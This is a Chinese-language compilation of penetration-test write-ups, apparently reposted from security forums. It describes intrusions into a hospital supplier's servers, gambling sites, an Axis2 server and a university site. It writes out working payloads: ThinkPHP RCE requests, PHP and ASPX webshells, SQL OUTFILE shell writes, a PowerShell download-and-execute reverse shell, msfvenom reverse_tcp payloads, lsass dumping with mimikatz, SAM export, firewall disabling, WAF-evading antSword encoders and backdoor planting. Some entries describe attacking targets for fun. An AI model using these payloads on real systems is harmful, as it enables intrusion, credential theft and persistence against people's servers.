绝处逢生到这里,我认为只能把希望放在这个mysql数据库上了,由于是windows系统,udf提权大概率成功不了,那就只能尝试写webshell了。写webshell的话需要知道绝对路径,我尝试使用各种办法让test.com报错,看报错信息中有没有包含绝对路径,一系列操作过后无果,只有404页面。 没办法了,只有盲猜一波,我突然想到了mysql数据库表的表名是否就是网站的目录名呢? 使用这两个表名构造了以下绝对路径 c:\\hs_web c:\\hsweb d:\\hs_web d:\\hsweb当尝试到c:\\hs_web时,webshell提示已经写入成功了。 使用蚁剑连接成功: 由于当前用户权限较小,使用potato成功提权: 添加用户成功登录远程桌面: 在服务端的nginx配置文件中发现了代理规则,涉及到几十家医院: 原来这些医院的微信公众号业务都是先访问test.com这台服务器,然后再由这台服务器上的nginx转到到各个医院的真实服务器上。那这样也太不安全了吧,一旦供应商的这台服务器宕机、他们的业务也得跟着丢。 然后在这台服务器上发现了微信公众号后台源码,丢给同伴审计了一波,发现了后台登录绕过漏洞,可以直接登录后台。 然后就是随意改信息啦。 至此本次渗透就结束了,其实拿到医院的真实ip后也可以更深入的进行测试。 0x03 总结 1.对目标目医院的公众号进行抓包,发现所有的请求都指向了a.test.com域名 2.通过test.com域名备案查询,发现是一家供应商,且访问a.test.com提示错误信息“whitelabel error page” 该系统是sprint boot框架开发,通过dirsearch对其目录进行扫描,发现存在个swagger-ui页面, 测试sql注入以及文件上传都无果 3.通过子域名扫描工具对test.com进行扫描,发现存在www.test.com以及git.test.com和hc.test.com 同时又对这三个域名进行nmap端口扫描,发现hc.test.com对应的IP开放了1521端口以及www.test.com开放了3306端口。 4.发现存在git.test.com,测试几个gitlab的漏洞以及爆破也无果 5.通过test.com官网提供的售后QQ群,加入进去后,在群里下载出一份员工信息表 通过员工的姓名和工号组合对git.test.com进行爆破也无果。 6.通过google hack 搜索子域名site:git.test.com,发现可以访问gitlab的几个公共库,其中发现一些接口文档,并没有用,发现rabbitmaq库中泄露了oracle数据库的用户名和密码 7.这里通过泄露的数据库的用户名和密码通过oracleShell.jar连接hc.test.com,进入后发现是sysdba权限,可执行命令,添加用户以及到管理员,并通过注册表开启3389端口,远程桌面登录到hc.test.com数据库主机。 8.在数据库主机上发现存在mysql目录路径,里面的有mysql数据库配置文件,文件中包含了数据库的链接用户名和密码。 9.由于www.test.com这台服务器是开放了mysql数据库的,通过泄露的数据库用户名和密码使用Navicat 远程连接数据库,并获得网站登录的用户名和密码。 10.输入www.test.com/admin可出现后台登录登录页面,输入用户名和密码,发现后台功能不用,提示thinkphp3.13错误 11.尝试通过thinkphp3.13漏洞拿到shell,但是无果 12.这里需要通过mysql的日志写入shell,但是找不到路径,在数据库的表名中含有hs_web以及hsweb两个表,猜测坑你是网站的目录名。猜测网站的物理路径是以下目录: c:\\hs_web c:\\hsweb d:\\hs_web d:\\hsweb 13.在尝试到c:\\hs_web时,通过mysql的log成功写入一句话 14.通过蚁剑链接一句话,并执行whomai命令,显示普通权限,这里通过potato成功提权 sweetpotato.exe -a "whoami" 15.在命令终端下添加用户以及开启远程桌面 16.登录系统后,发现存在nginx配置,最终发现医院的微信公众号业务都是先访问test.com这台服务器,然后再由这台服务器上的nginx转到到各个医院的真实服务器上。 17,然后在这台服务器上发现了微信公众号后台源码,进行本地源代码审计,发现了后台登录存在绕过登录,可以直接登录后台。 原文链接: https://xz.aliyun.com/t/10531
  10. 0x01 目标 country="US" && app="APACHE-Axis"从老洞捡些漏网之鱼,没准还会有意外收获 目标出现 还是熟悉的页面,熟悉的端口 然后尝试默认口令登录,ok, 这下稳了 先搜集一下信息 不要上来就部署包,先看一下现有的服务,像这种弱口令的基本上99.9999%都已经被人搞过了 再上传包就多此一举了,可以直接利用 找了一圈没发现遗留的马儿 找绝对路径自己上传 C:/elocker/webapps/admin/WEB-INF/classes 顺手一测,竟然可以出网,也不需要传shell了,直接掏出cs 执行命令 看结果失败了 0x02 反弹shell难道是因为在url里执行,导致powershell命令没有执行成功吗? 带着这个疑问 反弹shell尝试一下 结果还是失败,可以确定,应该是有waf 0x03 写入shellx.x.x.x:8080/services/config/download?url=http://x.x.x.x/dama.txt&path=C:\elocker\webapps\admin\axis2-web\shell.jsp 查看一下进程 通过对比发现某安全卫士 0x04 绕过杀软通过测试发现,最基本的net user也执行不了 摆在面前的路只有2条 做免杀抓密码果断选择抓密码,简单有效。 mimikatz不免杀不可直接用 这里我利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码 上传 procdump64.exe 并下载lsass.dmp 再在本地解析文件 procdump64.exe -accepteula -ma lsass.exe lsass.dmp # 导出为lsass.dump文件 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit # 把lsass.dmp放在mimikatz目录利用 得到hash,破解密码 0x05 登录服务器查看防火墙状态 Netsh Advfirewall show allprofiles关闭防火墙 NetSh Advfirewall set allprofiles state off 内网IP,需搭建代理 0x06 登录云桌面,发现意外惊喜发现机主运行了 telegram,嘿嘿 0x07 总结1.通过fofa的语法country="US" && app="APACHE-Axis"进行搜索漏洞目标2.发现存在一个axis2的后台,该页面存在弱口令(admin/axis2)3.在后台处的upload sevice处上传AxisInvoker.aar包4.查询到网站的绝对路径为:C:/elocker/webapps/admin/WEB-INF/classeshttp://www.xxx.com/axis2/services/AxisInvoker/info5.尝试通过cs生成posershell后门程序,通过访问下面地址触发,但是访问失败(可能系统中存在杀软拦截了)http://www.xxx.com/axis2/services/AxisInvoker/exec?cmd=powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress yourip -port 6666http://www.xxx.com/axis2/services/AxisInvoker/exec?cmd=dir%20C:6.通过下载文件方式写入大马http://www.xxx.com/axis2/services/AxisInvoker/download?url=http://vps/data.txt&file=C:\elocker\webapps\admin\axis2-web\shell.jsp7.在大马中执行tasklist,发现存在360tary(360杀毒)以及zhudongfangyu.exe(安全卫士)8.在大马中上传冰蝎的一句户话木马,然后连接,执行命令net user出错。9.这里通过冰蝎上传 procdump64.exe,并执行命令导出lsass.dmp procdump64.exe -accepteula -ma lsass.exe lsass.dmp10.通过冰蝎下载 lsass.dmp到本地。11.通过mimkiatz导入lsass.dump并读取出hash值mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit12.通过md5破解网站对HSAH值进行NTML破解,并成功破解出密码:123QWEqwe13.通过大马执行以下命令Netsh Advfirewall show allprofiles //查看防火墙状态NetSh Advfirewall set allprofiles state off //关闭防火墙14.通过冰蝎自带的socke功能开启代理,本地设置Proxifier代理将MSTSC添加到代理中15.通过代理执行mstsc,远程桌面登录内网,桌面发现存在telegram 原文链接: https://xz.aliyun.com/t/9856
  11. 0x00 信息收集由于主站存在云waf 一测就封 且初步测试不存在能用得上的洞 所以转战分站 希望能通过分站获得有价值的信息 这是一个查询代理帐号的站 url输入admin 自动跳转至后台 看这个参数 猜测可能是thinkCMF 0x01 getshellthinkcmf正好有一个RCE 可以尝试一下 白屏是个好兆头 应该是成功了 访问一下 尝试蚁剑连接 直接报错 猜测可能遇到防火墙了 然后再回来看一下shell 手动尝试一个phpinfo 果然存在宝塔防火墙 0x02 绕过宝塔防火墙宝塔应该对部分函数进行了过滤,所以直接传递payload肯定是不行的,所以我们需要对流量进行混淆加密。 尝试将所有的payload Base64编码传输 既然传过去的是编码后的Base64,小马也应该相应做出改变,只需解密一次传递过来的base64即可。 小马如下: <?php @eval(base64_decode($_POST[zero]));?> 将phpinfo();base64编码为 cGhwaW5mbygpOw== 发送 可见 宝塔防火墙没再拦截 已经成功绕过宝塔防火墙 0x03 改造蚁剑我们用到的是Base64编码,但是蚁剑其实是自带Base64编码解码器的 。 尝试直接使用自带的Base64编码器 为什么会这样呢? 我们尝试从蚁剑的流量分析 设置代理到burp 拦截流量 我们可以看到 明显有两个地方容易被waf识别 一是:User-Agent头的关键字:antSword/v2.1 这相当于直接告诉waf我是谁了, 所以这是第一个要更改的点 二是:蚁剑的流量其实还是有关键字的 比如cmd参数后的 eval base64_decode 都是,而且我们的小马自带Base64解密,所以用它的默认编码器不仅过不去waf 即使没waf也不能正常连接我们的小马,所以需要自己定义编码器。 新建PHP编码器 由于我们只需要将payloadBase64编码一次即可,所以直接将data['_']Base64 处理赋值即可 随机参数有没有无所谓的 编码器如下 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data, ext={}) => { data[pwd] = Buffer.from(data['_']).toString('base64'); delete data['_']; return data; } 然后修改UA头 应用我们的编码器 解码器不需要指定 默认即可 建议选择 增加垃圾数据和Multipart发包 再次测试连接 然后点击目录 发现依然存在问题 不能跨目录 这个问题其实哥斯拉可以解决 上传哥斯拉马 这里可能有人会问了 那你直接上传哥斯拉马不就行了吗 实际情况是 get传参有长度限制 而且有的符号会导致截断php文件无法上传完整 网站有挺多 但是很可惜没有主站 数据库里只有一堆代理帐号 浪费时间了 0x03 总结1.访问BC目标主站发现没有可利用漏洞,通过访问分站,并输入admin目录,跳转到后台2.通过cms指纹查询,发现分站是thinkcmf框架3.执行rce写入一句话http://www.xxx.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test1.php','<?php @eval($_POST[zero])?>')4.访问地址http://www.xxx.com/test1.php显示空白。5.尝试蚁剑连接,直接报错 ,执行post命令,发现显示宝塔防火墙http://www.xxx.com/test1.phppost:zero=phpinfo();6.这里RCE写入一句话base64加密http://www.xxx.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test2.php','<?php @eval(base64_decode($_POST[zero]));?>')7.将phpinfo();base64编码为 cGhwaW5mbygpOw==并正常请求访问http://www.xxx.com/test2.phppost: zero=cGhwaW5mbygpOw==7宝塔防火墙会拦截蚁剑的User-Agent以及包含命令执行的关键字如cmd参数后的 eval base64_decode一是:User-Agent头的关键字:antSword/v2.1 这相当于直接告诉waf我是谁了, 所以这是第一个要更改的点二是:蚁剑的流量其实还是有关键字的 比如cmd参数后的 eval base64_decode 都是,而且我们的小马自带Base64解密8,改造默认的base64编码器'use strict'; /** @param {String} pwd 连接密码* @param {Array} data 编码器处理前的 payload 数组* @return {Array} data 编码器处理后的 payload 数组*/module.exports = (pwd, data, ext={}) => { data[pwd] = Buffer.from(data['_']).toString('base64'); delete data['_']; return data;}9.在蚁剑的请求信息中修改UA头name:User-Agentvaule:为平常普通的的http请求值10,通过改造后的蚁剑加载修改后的的编码器进行连接,点击目录依然不能访问。12.同样的方法在哥斯拉中加载改造默认的base64编码器,可绕过宝塔防火墙,并正常访问 原文链接: https://xz.aliyun.com/t/9295
  12. 0x00 前言在某次做渗透项目时,客户只提供了一个IP。作为菜鸟的我开始远航。 0x01 信息收集Nmap扫描一下端口,注意扫描高位端口,往往有意外收获。 弱口令尝试登录。 简单汇总一下。 0x03 漏洞探测登录进后台测试发现两个系统均存在sql注入。 还在8000端口上的crocus系统中找到一处任意文件下载漏洞。 原来是日志下载。点击发现页面中存在绝对路径。 OK!!!收集一下绝对路径。 现在的思路是: 在有绝对路径的前提下,配合sql注入,利用sqlmap的—sql-shell尝试可以写一句话木马。 0x04 漏洞利用仔细看这个绝对路径。听说仔细盯着它看会有奇效。(笑) WCMS4.0这个好像在哪见过。 没错。就是12055端口,登录后台 可以利用这个后台的sql注入来写shell。 sql注入点大概在搜索位置。 拦截数据包,保存为post.txt。使用sqlmap开始注入。 有注入,有dba权限,有绝对路径。shell一条龙就此准备。 0x05 Webshell开始写入aspx一句话木马。 select '<%@ Page Language="Javascript"%> <%eval(Request.Item["pass"]);%>' INTO OUTFILE 'C://Program Files (x86)//CMS Server//WCMS4.0//x.aspx' 没毛病,访问一下。 Nice!!! 菜刀连接。 0x06 控制服务器先收集一下该服务器的信息 该服务器运行在内网,这里选择使用msf马反弹shell后进行端口转发。 关于如何在外网打造一台metasploit。推荐文章: http://www.sqlsec.com/2018/03/cloud.html#more 生成msf马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=2333 -f exe > road.exexx.xx.xx.xx为公网服务器 2333为公网端口 将生成的msf马通过中国菜刀上传至肉鸡。 外网metasploit开始配置监听 简单执行几条meterpreter命令 端口转发连接本地的3389 出现身份验证错误 解决方案 http://www.cnblogs.com/raswin/p/9018388.html 0x07 总结1.通过nmap以及dirsearch分别对目标进行端口扫描以及目录扫描,发现存在8000和8011以及8021端口开放 2.访问8000端口所在的网址,发现后台存在弱口令admin/123456。进入系统后发现存在2个SQL注入漏洞 以及存在任意下载漏洞,通过fuzz下载路径,可下载到网站的日志文件,日志中泄露了网站的绝对路径c:\progarm files \CMS server\。 3这里可以通过sqlmap对2个SQL注入漏洞中的一个进行os-shell写入shell. 4.同时发现暴露出来的网站路径c:\progarm files \CMS server\下存在一个wcms4.0,该版本后台登录处存在SQL注入漏洞 5.通过sqlmap -r data.txt对其进行注入,发现数据库权限为dba 6.通过sqlmap的sql-shell写入一句话 select '<%@ Page Language="Javascript"%> <%eval(Request.Item["pass"]);%>' INTO OUTFILE 'C://Program Files (x86)//CMS Server//WCMS4.0//x.aspx' 7.通过菜刀远程连接一句话,执行命令whoami发现是system权限,执行netstat -ano查看网络连接,通过ipconfig查询网站的内网地址 8.生成msf木马,并将其木马通过菜刀上传并进执行。 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=2333 -f exe > road.exe 10.外网MSF上执行反弹shell监听 use exploit/multi/handle set payload windows/x64/meterpreter/reverse_tcp set lhost 127.0.0.1 run 9.执行以下几条meterpreter命令 getuid //当前权限 getsystem // 进行提权 run getgui -u xxxxx -p xxxxx //在目标机器上添加用户 portfwd add -l 3389 -r 192.168.1.18 -p 3389 //将3389端口转发至本地 9,远程桌面连接,提示出现身份验证错误 解决方法: 运行 gpedit.msc 本地组策略: 计算机配置>管理模板>系统>凭据分配>加密Oracle修正 选择启用并选择易受攻击 原文链接: https://www.freebuf.com/column/196438.html
  13. 0x00 前言之前接触tp5的站比较少,只知道利用RCE漏洞getshell的方式。在最近对一个发卡平台渗透的过程中,由于php版本限制,无法直接使用RCE的payload拿shell,于是结合该网站尽可能多的测试一下tp5+php7.1环境下的getshell方法。 0x02 正文拿到站点后,访问首页如下 测试中,发现是thinkphp的站,报错如下 不过看不出来具体版本,不确定是否存在RCE,于是用exp打一下试试 _method=__construct&method=get&filter=call_user_func&get[]=phpinfo 发现执行成功了,disable_function禁用了挺多函数 一般php版本低于7.1的情况下,接下来直接用exp写shell就可以了 方法一 直接用下面的exp写shell s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert 但是这个exp中使用了assert,而上面看到php版本是7.1.33,这个版本是已经没办法使用assert了,所以这里这个方法是不能用的 方法二 上面的exp没办法写shell,但是phpinfo是执行了的,那么RCE是存在的。于是想到可以通过读取文件读取数据库的账号密码,然后找到phpmyadmin,就可以通过数据库写shell。 于是首先通过phpinfo中的信息找到网站根目录,再使用scandir函数遍历目录,找到数据库配置文件 _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路径 然后通过highlight_file函数读取文件 _method=__construct&filter[]=highlight_file&method=GET&get[]=读取的文件路径 拿到数据库信息后,找看看是否存在phpmyadmin,最终发现没有,于是这种方法也失败。 在论坛搜索tp5的getshell方法,发现不少师傅说到可以用日志包含或者session包含的方法,但是之前没接触过,不知道具体的,于是搜索尝试一下。 方法三 尝试日志包含 首先写shell进日志 _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?> 然后通过日志包含来getshell _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo(); 失败了,这里日志包含的方法也不可用 方法四 尝试使用session包含的方法来getshell 首先通过设置session会话并传入一句话木马 _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1 然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面) _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo(); 成功执行,接下来通过蚁剑连接即可 成功getshell www权限 方法五 上面拿到了shell,但是我还是再尝试了是否还有其他方法能getshell的。看到一篇文章,是由于disable_function中没有禁用exec,然后利用exec从vps下载shell文件。 于是我仔细看了下disable_function中禁用的函数,巧了,发现也没有禁用exec,那么试一下 首先在vps上创建一个test.php,并用python开放一个端口 python -m SimpleHTTPServer 8888 从vps上下载文件 s=wget vps/test.php&_method=__construct&method=get&filter[]=exec 成功下载到目标机器上 0x03 总结1.目标网站路径上输入错误的路径,显示网站错误页面是thinkphp,没有显示版本 2.输入tp5.x的RCE poc,显示phpinfo成功,且disable_function禁用了很多函数以及php版本为7.1.x版本 http://www.xxx.com/index.php?s=captcha post: _method=__construct&method=get&filter=call_user_func&get[]=phpinfo 3.下面方法可直接获得到shell(tp5.x+php7.1.x) 方法一:(php要求低于<php7.1) http://www.xxx.com/index.php?s=captcha post: s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert( 方法二:(tp5.x+php7.1.x) 首先通过phpinfo中的信息找到网站根目录,再使用scandir函数遍历目录,找到数据库配置文件 _method=__construct&method=get&filter=call_user_func&get[]=phpinfo //显示网站目录为/www/wwwroot/idj/,且目录遍历获取到网站配置根目录(/www/wwwroot/idj/data/conf )下存在数据库连接的php为database.php _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/ _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/ _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/data/ _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/data/conf 然后通过highlight_file函数读取文件,并读取到数据库的连接用户名和密码 _method=__construct&filter[]=highlight_file&method=GET&get[]=/www/wwwroot/idj/data/conf/database.php 如果能找到该网站存在phpmyadmin,就可以通过数据库用户和密码进入,并通过mysql log写入shell 方法三:(tp5.x+php7.1.x,日志包含) 首先写shell进日志 _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?> 然后通过日志包含来getshell _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo(); 方法四:(tp5.x+php7.1.x,使用session包含的方法来getshe) 首先通过设置session会话并传入一句话木马 _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1 然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面) _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo(); 方法四:(tp5.x+php7.1.x,disable_function中没用禁用exec函数) 首先在vps上创建一个test.php,并用python开放一个端口 python -m SimpleHTTPServer 8888 从vps上下载文件 s=wget http://www.vps.com/test.php&_method=__construct&method=get&filter[]=exec 原文链接: https://xz.aliyun.com/t/10397
  14. 0x00 信息收集接到一个紧急测试任务,只有一个目标名称(某某医院)和一个ip。 首先,使用goby一把梭对拿到的ip来个全端口扫描: 服务包括Weblogic,jboss,springboot,Struts2,以及其他各式各样的系统(简直就是Nday练习靶场) 0x01 外网渗透其中尝试了利用jexboss打jboss反序列化,Weblogic的反序列化(10.3.6.0版本),Weblogic的其他CVE漏洞利用,springboot的未授权,Struts2的反序列化漏洞均失败 但是在8282端口的临床技能中心管理平台发现了弱口令 (admin/admin)可成功登陆到后台: 经过测试,目标的字典管理下的屏幕信息管理系统的设置显示图片处存在任意文件上传 只需要将png后缀的jsp马上传,在利用BurpSuite直接抓包改为jsp后缀即可 上传完毕后,访问目标url,webshell存在,但是利用Godzilla直接连接会失败 经hum大师傅的发现,在链接时需要带上当前页面的cookie(这里目标对url做了强制跳转,如果未登陆,都会条回到Login页面。) 这样的话webshell的url就无法正常访问了)带上cookie即可正常连接(cookie到期后,webshell便会掉)。 连接成功后,为了稳定webshell,我们尝试将webshell写入到根目录和静态文件的目录,但是仍会受到强制跳转的影响。 于是将webshell内容写入到了在登陆前就能访问的jsp正常文件中,来稳定shell。 0x02 内网渗透之后对目标进行了信息搜集,入口web服务器为Linux主机,不出网,无法上传大文件,web路径存在强制跳转,IP为172.20.10.49 首先尝试了Neo-reGeorg,将webshell写入到网站根目录,带上cookie进行代理,失败(猜测原因可能还是应为网站的强制跳转问题) 之后尝试pystinger(毒刺),在将Server和webshell上传到目标机器后,发现无法正常执行(程序报错,而且似乎时代码错误) 于是又再次换回了Neo-reGeorg,这次尝试将目标网站中的某一个正常jsp页面替换为我们的Neo-reGeorg的tunnel.jsp内容 发现目标无强制跳转(猜测目标是根据文件名来进行的强制跳转,且为白名单),本地尝试连接,代理正常(报错不影响)。 尝试利用Ladon走正向代理扫描内网(命令为Ladon.exe 172.20.10.1/24 WebScan),扫描结果如下 发现目标存在phpStudy探针页面,且该探针页面存在mysql弱口令root,root 扫目录发现,该IP下还存在phpmyadmin页面,可利用root,root登陆 经过测试,该数据库用户没有outfile的导出权限,但是可以通过日志getshell 将general_log_file改为网站根目录下的222.php 执行select <?php phpinfo(); assert($_POST['cmd']);?>即可getshell 发现该台主机为Windows主机,system权限,仍不出网 通过tasklist查看进程加杀软比对,发现目标主机存在卡巴斯基(进程为avp.exe) CobaltZirs0n大师尝试利用卷影拷贝方式获取目标SYSTEM,SECURITY,SAM文件本地离线解密,但是运行wmic shadowcopy call create Volume='C:' 命令后,利用vssadmin list shadows查询时,爆出错误,提示没有注册类 由于是system权限,尝试直接利用powershell 操作注册表导出文件 reg save hklmsystem SYSTEMreg save hklmsecurity SECURITYreg save hklmsam SAM 利用mimikatz成功解密获取hash(密码解不出) 此时有三种方式登陆远程桌面 1.直接添加账户(卡巴斯基不拦截)2.添加影子账户3.利用mimikatz做pth来使hash覆盖mstsc登陆administrator用户这里选择添加了一个账户登陆,并打算利用该台主机做代理,来利用fscan扫描内网(后续关站了,没有继续深入) 至此,应该是管理员发现了内网的动静,直接反手关站 0x03 渗透总结1.通过goby对其目标IP进行扫描,发现存在weblogcig,jbos,springboot,strust2中间件组件2.尝试对weblogcig,jbos,strust2进行反序化进行测试,并没有发现,又测试sprintboot未授访问也没有3.在8082端口出发现临床技能中心管理平台存在弱口令(admin,admin),进入后台,发现图片上传处,存在文件上传,这里上传jsp文件,通过Godzilla连接,提示连接失败,需要在Godzilla的请求配置中添加cookie值,才能连接(网站设置了未登陆系统,访问网站页面强制跳转到登录页面)4这里通过Godzilla上传Neo-reGeorg的tunnel.jsp,且访问tunnel.jsp提示错误(猜测目标是根据文件名来进行的强制跳转,且为白名单),因此将网站中的页面的内容替换成tunnel.jsp的内容,可正常访问5.这里通过reGeorg+Proxifier 进行本地socks代理,本地代理通过Ladon.exe 172.20.10.1/24 WebScan对目标系统所在的内网网段进行扫描,发现172.20.10.49存在phpstudy探针页面。本地代理通过chrome.exe访问172.20.10.49页面,页面中的mysql服务存在root/root弱口令。6.同时本地代理通过dirsearch对172.20.10.49进行目录扫描,发现存在phpmyadmin页面7.本地代理通过chrome.exe访问172.20.10.49/phpymadin,通过弱口令root/root进入8.通过show variables like ‘%general%'查询到网站的绝对路径,通过log日志写webshellselect <?php phpinfo(); assert($_POST['cmd']);?>into outfile 'E:/phpStudy/WWW/shell.php';即可getshell8.本地代理通过蚂剑链接172.20.10.49/shell.php.并执行命令tasklist查看到系统中存在阿卡巴斯基(avp.exe),whoami查询到是system权限9.尝试执行命令wmic shadowcopy call create Volume='C:' 后,利用vssadmin list shadows查询时,爆出错误,提示没有注册类10.尝试直接利用powershell 操作注册表导出文件(需要system权限)powershell reg save HKLM\SYSTEM E:/phpstudy/www/systempowershell reg save HKLM\SECRRITY E:/phpstudy/www/securitypowershell reg save HKLM\\SAM E:/phpstudy/www/sam11.尝试mimikatz成功解密出hash值mimiatz#lsadum::sam /sam:sam.hiv /system:system.hiv 转自:Fight Tigers Team
  15. 0x01 前言备考的时候偶然点了进了本校内网的某个站点 , 停下了复习(直接拔剑) 0x02 渗透过程测试到注入 http://url/newdetail.aspx?id=11999' or 1=1 -- 直接Sqlmap一把过 , 连waf都没得(狗头) 随便看看 python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch --dbs python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch -users DBMS sqlserver 2005 whoami 在windows中nt authority system 是内置的系统管理账户 查看下目录chdir Dir c:\ OS版本 Microsoft(R) Windows(R) Server 2003, Enterprise Edition ipconfig 服务器端存在certutil等于是决定测试一下命令 vps python -m SimpleHTTPServer 80 打一下 ping wt070h.dnslog.cn certutil.exe -urlcache -split -f http://funny_ip/amazing1x 发现回显 奈何网站路径是中文的 , sqlmap写木马的话会乱码 , 找了找解决办法无果 看看环境变量 Nmap看看端口 因为尝试远程连接的时候出了一些问题,起初不知道是什么原因所以打算看看 尝试远程连接3389 新建用户 #新建用户 net user amazingadmin123 amazing.123456 /add #赋予权限 net localgroup Administrators amazingadmin123 /add #激活用户 net user amazingadmin123 /active:yes #关闭防火墙 netsh firewall set opmode mode=disable #开启默认设置 netsh firewall reset 通过注册表开启3389端口 echo Windows Registry Editor Version 5.00 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "fDenyTSConnections"=dword:00000000 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "ortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg相关记录 相关记录 这个过程连续尝试了两三次都没有成功,也没找到原因,服务还关了,只能先考试等管理员开机了 考完试第三天网站上线了,再试试新建用户…… 原来是安全策略的问题,不能使用简单地密码,新建用户的时候用了个复杂的密码就行了 远程连接✔️ 配置加载中…… 0x03 总结1.发现主页存在一处注入点http://url/newdetail.aspx?id=11999' or 1=1 --2.通过SQLMAP进行注入,执行命令:sql-shell>select @@version; //查询数据库版本sql-os>whoami //发现是system权限sql-os>chdir //查看目录sql-os>dir c: //列出C盘目录sql-os>systeminfo //查看系统版本sql-os>ipconfig //查看系统IPsql-os>cuertutil //测试是否存在cuertutil 下载命令3.在VPS搭建HTTP服务器python -m SimpleHTTPServer 804.可以将cs生成exe上传到VPS服务器上。5.通过NAMP扫描目标系统开放端口,发现3389存在6.创建用户并添加到管理员权限,且启用账号和关闭防火功能#新建用户sql-os>net user amazingadmin123 Admin@12$12 /add#赋予权限sql-os>net localgroup Administrators amazingadmin123 /add#激活用户sql-os>net user amazingadmin123 /active:yes#关闭防火墙sql-os>netsh firewall set opmode mode=disable7.通过mstsc成功远程连接 原文链接: https://xz.aliyun.com/t/9444
  16. 0x01 确定目标 主站: 旁站: 0x02 漏洞利用通过信息收集发现是个tp v5.0.9,此版本存在tp-rce漏洞。 直接通过payload进行测试, Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo() 查找payload,直接打: Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo() 发现是php 5.4.45版本的, 直接尝试getshell: 发现system被禁用,尝试其他系统命令的也一样。 查看phpinfo中desable_functions禁用了那些函数。 想办法怎么绕过进行写马(此处卡了我半天) 最后通过一位渗透小伙伴,想出下面的可以利用file_put_contents直接写shell,想了半天,忘了用其他函数进行直接写马就可以了,并不需要非得利用system命令进行写马,还是底层知识薄弱啊。再次感谢小伙伴! 0x03 getshell构造payload: _method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>') 写入成功,利用菜刀连接。 成功连接。 查看权限: 发现启动了远程安全模式。 想要绕过,发现很多函数被禁用,占未成功。 下载源码: 多部署一些后门,防止被删。 0x04 总结1.打开BC网站,通过底部版本信息,发现该站点框架是tp v5.0.9,存在RCE漏洞 Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo() 2.发现是php 5.4.45版本的,直接尝试执行命令,发现system函数以及执行系统命令的函数也被禁用。 Post:_method=__construct&filter[]=assert&method=get&get[]=whomai 3.虽然禁用系统命令函数,可利用file_put_contents直接写shell绕过 4.获得getshell 构造payload: _method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>') 5.写入成功,利用菜刀连接 来源: https://xz.aliyun.com/t/9232
